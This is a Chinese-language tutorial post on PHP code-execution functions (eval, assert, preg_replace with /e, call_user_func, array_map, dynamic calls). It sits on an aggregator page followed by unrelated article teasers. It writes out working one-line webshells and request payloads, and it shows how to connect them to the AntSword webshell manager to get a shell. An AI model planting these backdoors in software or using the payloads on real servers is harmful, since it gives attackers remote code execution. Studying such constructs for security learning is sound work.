PHP 危险函数2-代码执行语句

代码执行语句

eval()

  • 不是函数,不能被动态调用,并且需要以 ;结束

  • 直接输出,不执行

    <?php$code="phpinfo();";echo $code;?>
    

    image-20231025141518170

  • eval() 语句执行

    <?php$code="phpinfo();";eval($code);      // eval 不是函数,最后要加 ;?>
    

    image-20231025141559421

  • 动态执行

    <?php$code=$_REQUEST["code"];eval($code);?>
    

    image-20231025142152024

  • 一句话木马

    <?phpeval($_REQUEST["code"]);?>
    

    image-20231025165821879

    蚁剑执行命令

    image-20231025165526577

  • 其他执行方式

    ?code=phpinfo();?code=${phpinfo()};?code=echo abc;phpinfo();?code=?>this is a test<?php phpinfo();?code=eval(phpinfo());
    

assert()

  • 高版本中删除了 assert()

  • 使用方法

    <?phpassert("<执行语句>");?>
    
  • 调用系统函数

    image-20231025154512624

  • 动态调用

    <?php$code=$_REQUEST["code"];assert($code);?>
    

    image-20231025154349691

  • 蚁剑连接

    image-20231025172351832

preg_replace()

  • 正则匹配,替换

  • 替换字符,忽略大小写

    <?php$code=preg_replace("/a/i","e","abAcd");//  "//"两个斜线中的为正则表达式,后面跟选项i,表示不区分大小写// 此处将 abAcd 中无论大小写的 a 全替换成 eecho $code;?>
    

    image-20231025155120906

    <?php$code=preg_replace("/\[.*\]/i","e","[abcde]");//  "//"两个斜线中的未正则表达式,后面跟选项i,表示不区分大小写//  \ 用来进行转义//  .* 表示全部内容// 此处将 [abede] 包括中括号,替换成 eecho $code;?>
    

    image-20231025155308701

    $code= preg_replace("/\[(.*)\]/i","e","[phpinfo()]");
    // 匹配方括号中的任意字符序列,并将其替换为字母 "e"。所以,"[phpinfo()]" 会被替换为 "e"。最终,变量 $code 的值将是 "e"。
    
  • 捕获 [] 中的内容

    <?php$code= preg_replace("/\[(.*)\]/i","\\1","[phpinfo()]");	\\1 第一次匹配的不明确的字符(此处为 phpinfo())//		\[(.*)\] 是正则表达式的模式,用于匹配方括号 [ 和 ] 之间的任意字符序列,并将其作为捕获组。//		\[ 匹配左方括号 [。//		(.*) 匹配任意字符序列,并将其作为捕获组。//		\] 匹配右方括号 ]。//		"\\1" 是替换字符串,其中 \\1 表示引用第一个捕获组的内容。//		将目标字符串 "[phpinfo()]" 中的方括号及其内部的任意字符序列替换为捕获组中的内容。在这个例子中,捕获组中的内容是 "phpinfo()",所以最终 $code 的值将是 "phpinfo()"。echo $code;?>
    

    image-20231025163105920

  • 执行捕获的 [] 中的内容

    <?php$code= preg_replace("/\[(.*)\]/ie","\\1","[phpinfo()]");//	\\1 第一次匹配的不明确的字符(此处为 phpinfo())// 此处的参数 e 会将匹配出的不明确字符执行echo $code;?>
    

    image-20231025163213177

回调函数

  • 可以调用其他函数的函数
  • call_user_func()、array_map()
  • eval()、isset() 等为语言结构,不是函数,不能被回调

call_user_func()

  • 使用

    <?phpcall_user_func(<调用的函数>,<要传的参数>);?>
    
  • <?php$func="assert";$code="phpinfo()";call_user_func($func,$code);?>
    

    image-20231025145510715

  • 动态执行

    <?php$func=$_REQUEST["func"];$code=$_REQUEST["code"];call_user_func($func,$code);?>
    

    image-20231025145244245

    image-20231025145339107

  • 连接蚁剑

    image-20231025174346683

array_map()

  • 第二个参数必须是数组

  • 使用

    <?php$func=$_REQUEST["func"];$code[]="phpinfo()";array_map($func,$code);?>
    

    image-20231025164157955

  • 动态执行

    <?php$func=$_REQUEST["func"];$code=$_REQUEST["code"];array_map($func,$code);?>
    

    image-20231025174743867

动态函数

  • 在 php 中写入最简单的后门函数

    <?php$_GET['a']($_GET['b']);?>
    

    访问此 php 页面

    image-20231024110739759

    修改传参,成功执行命令

    image-20231024110854862

蚁剑连接

  • eval 为一种语言结构,而非函数,不能动态调用

  • 可以将 assert 当作 a 的参数,b 的参数为一句话木马,连接蚁剑

    • 蚁剑为 POST 传参,需要将传参方式设置为 $_POST$_REQUEST

      <pre>
      <?php$_GET['a']($_REQUEST['b']);?>
      

  • 蚁剑连接

    输入传参后的 url

    注意

    assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码

    连接密码为 $_REQUEST['b'] 中的 b

    image-20231024172526535

  • 获取 shell

    image-20231024172714987

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/118329.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue3中常见的组合式API

一、toRef 和 toRefs 应用&#xff1a;要将响应式对象中的某个属性单独提供给外部使用时。 语法&#xff1a; toRef语法&#xff1a;const name toRef(person, name) toRefs语法&#xff1a;toRefs(person)&#xff0c;如果在return中直接写&#xff0c;需要用...(展开运算符…

【TGRS 2023】RingMo: A Remote Sensing Foundation ModelWith Masked Image Modeling

RingMo: A Remote Sensing Foundation Model With Masked Image Modeling, TGRS 2023 论文&#xff1a;https://ieeexplore.ieee.org/stamp/stamp.jsp?tp&arnumber9844015 代码&#xff1a;https://github.com/comeony/RingMo MindSpore/RingMo-Framework (gitee.com) …

软件测试之【单元测试、系统测试、集成测试】

一、单元测试的概念 单元测试&#xff08;Unit Testing&#xff09;是对软件基本组成单元进行的测试&#xff0c;如函数&#xff08;function或procedure&#xff09;或一个类的方法&#xff08;method&#xff09;。当然这里的基本单元不仅仅指的是一个函数或者方法&#xff…

Python:实现日历功能

背景 日常生活中&#xff0c;每天都要用到日历&#xff0c;日历成为我们生活中的必需品&#xff0c;那么如何制作日历呢&#xff0c;其实方法有很多&#xff0c;可以直接在excel中制作&#xff0c;也可以手画等等。 学习过编程的朋友&#xff0c;能否想到用Python编写一…

【Pytorch】Pytorch学习笔记02 - 单变量时间序列 LSTM

目录 说明简单神经网络LSTM原理Pytorch LSTM生成数据初始化前向传播方法训练模型自动化模型构建 总结参考文献 说明 这篇文章主要介绍如何使用PyTorch的API构建一个单变量时间序列 LSTM。文章首先介绍了LSTM&#xff0c;解释了它们在时间序列数据中的简单性和有效性。然后&…

Elasticsearch常见错误

一 read_only_allow_delete" : "true" 当我们在向某个索引添加一条数据的时候,可能(极少情况)会碰到下面的报错: {"error": { "root_cause": [ { "type": "cluster_block_exception", "r…

智慧垃圾站:AI视频智能识别技术助力智慧环保项目,以“智”替人强监管

一、背景分析 建设“技术先进、架构合理、开放智能、安全可靠”的智慧环保平台&#xff0c;整合环境相关的数据&#xff0c;对接已建业务系统&#xff0c;将环境相关数据进行统一管理&#xff0c;结合GIS技术进行监测、监控信息的展现和挖掘分析&#xff0c;实现业务数据的快速…

每日一练——快速合并2个有序数组

每日一练来喽~~~ 今天up主为大家分享一个&#xff0c;快速合并2个有序数组的法子&#xff0c;注意听哟&#xff01; 题目&#xff1a; 给你两个按 非递减顺序 排列的整数数组 nums1 和 nums2&#xff0c;另有两个整数 m 和 n &#xff0c;分别表示 nums1 和 nums2 中的元素数…

[Docker]二.Docker 镜像,仓库,容器介绍以及详解

一.Docker 镜像,容器,仓库的简单介绍 通俗来讲:镜像相当于VM虚拟机中的ios文件,容器相当于虚拟机系统,仓库相当于系统中的进程或者执行文件,容器是通过镜像创建的 1.镜像 Docker 镜像就是一个 Linux 的文件系统&#xff08; Root FileSystem &#xff09;&#xff0c;这个文…

万宾科技智能井盖传感器怎么使用?

时代在进步&#xff0c;科技在更新&#xff0c;人们身边的万事万物都在随着时代的脚步不断的前进。各种各样高科技技术在城市基础设施建设的过程中得到应用&#xff0c;很多智能产品不仅施工方便&#xff0c;而且可以向政府部门提供精准的数据&#xff0c;提高了相关管理人员的…

一、PHP环境搭建[phpstorm]

一、安装 1.php编写工具 地址&#xff1a;https://www.jetbrains.com/phpstorm/download/#sectionwindows 图示&#xff1a; 2.php环境 解释&#xff1a;建议使用phpstudy进行安装&#xff0c;安装较为简单 链接&#xff1a;https://www.xp.cn/ 图示&#xff1a; 二、第…

leetcode系列(双语)002——GO两数相加

文章目录 两数相加 | Add Two Numbers示例个人解答官方解答扩展Algorithm 两数相加 | Add Two Numbers You are given two non-empty linked lists representing two non-negative integers. The digits are stored in reverse order, and each of their nodes contains a sing…

yyds,Elasticsearch Template自动化管理新索引创建

一、什么是Elasticsearch Template&#xff1f; Elasticsearch Template是一种将预定义模板应用于新索引的功能。在索引创建时&#xff0c;它可以自动为新索引应用已定义的模板。Template功能可用于定义索引的映射、设置和别名等。它是一种自动化管理索引创建的方式&#xff0…

Elasticsearch:使用 Open AI 和 Langchain 的 RAG - Retrieval Augmented Generation (四)

这篇博客是之前文章&#xff1a; Elasticsearch&#xff1a;使用 Open AI 和 Langchain 的 RAG - Retrieval Augmented Generation &#xff08;一&#xff09;Elasticsearch&#xff1a;使用 Open AI 和 Langchain 的 RAG - Retrieval Augmented Generation &#xff08;二&a…

SQL实现数据透视效果

一、透视 在SQL中实现类似Excel中数据透视表的效果&#xff0c;需要使用到PiVOT函数 SELECT <non-pivoted column>,[first pivoted column] AS <column name>,[second pivoted column] AS <column name>,... FROM(<SELECT query that produces the data…

0基础学习PyFlink——不可以用UDTAF装饰器装饰function的原因分析

在研究Flink的“用户自定义方法”&#xff08;UserDefinedFunction&#xff09;时&#xff0c;我们看到存在如下几种类型的装饰器&#xff1a; UDF&#xff1a;User Defined Scalar FunctionUDTF&#xff1a;User Defined Table FunctionUDAF&#xff1a;User Defined Aggrega…

doris 问题 列表

1. flink 导入数据后 出现的错误 2.错误描述&#xff1a; 导入任务过多&#xff0c;新导入任务提交报错 “current running txns on db xxx is xx, larger than limit xx ”&#xff1f; 调整 fe 参数 : max_running_txn_num_per_db&#xff0c;默认100&#xff0c;可适当调…

vue3 elementPlus 表格实现行列拖拽及列检索功能

1、安装vuedraggable npm i -S vuedraggablenext 2、完整代码 <template> <div classcontainer><div class"dragbox"><el-table row-key"id" :data"tableData" :border"true"><el-table-columnv-for"…

ChatGPT和Copilot协助Vue火速搭建博客网站

AI 对于开发人员的核心价值 网上会看到很多 AI 的应用介绍或者教程 使用 AI 聊天&#xff0c;咨询问题 —— 代替搜索引擎使用 AI 写各种的电商文案&#xff08;淘宝、小红书&#xff09;使用 AI 做一个聊天机器人 —— 这最多算猎奇、业余爱好、或者搞个套壳产品来收费 以上…

java8 Lambda表达式以及Stream 流

Lambda表达式 Lambda表达式规则 Lambda表达式可以看作是一段可以传递的代码&#xff0c; Lambda表达式只能用于函数式接口&#xff0c;而函数式接口只有一个抽象方法&#xff0c;所以可以省略方法名&#xff0c;参数类型等 Lambda格式&#xff1a;&#xff08;形参列表&…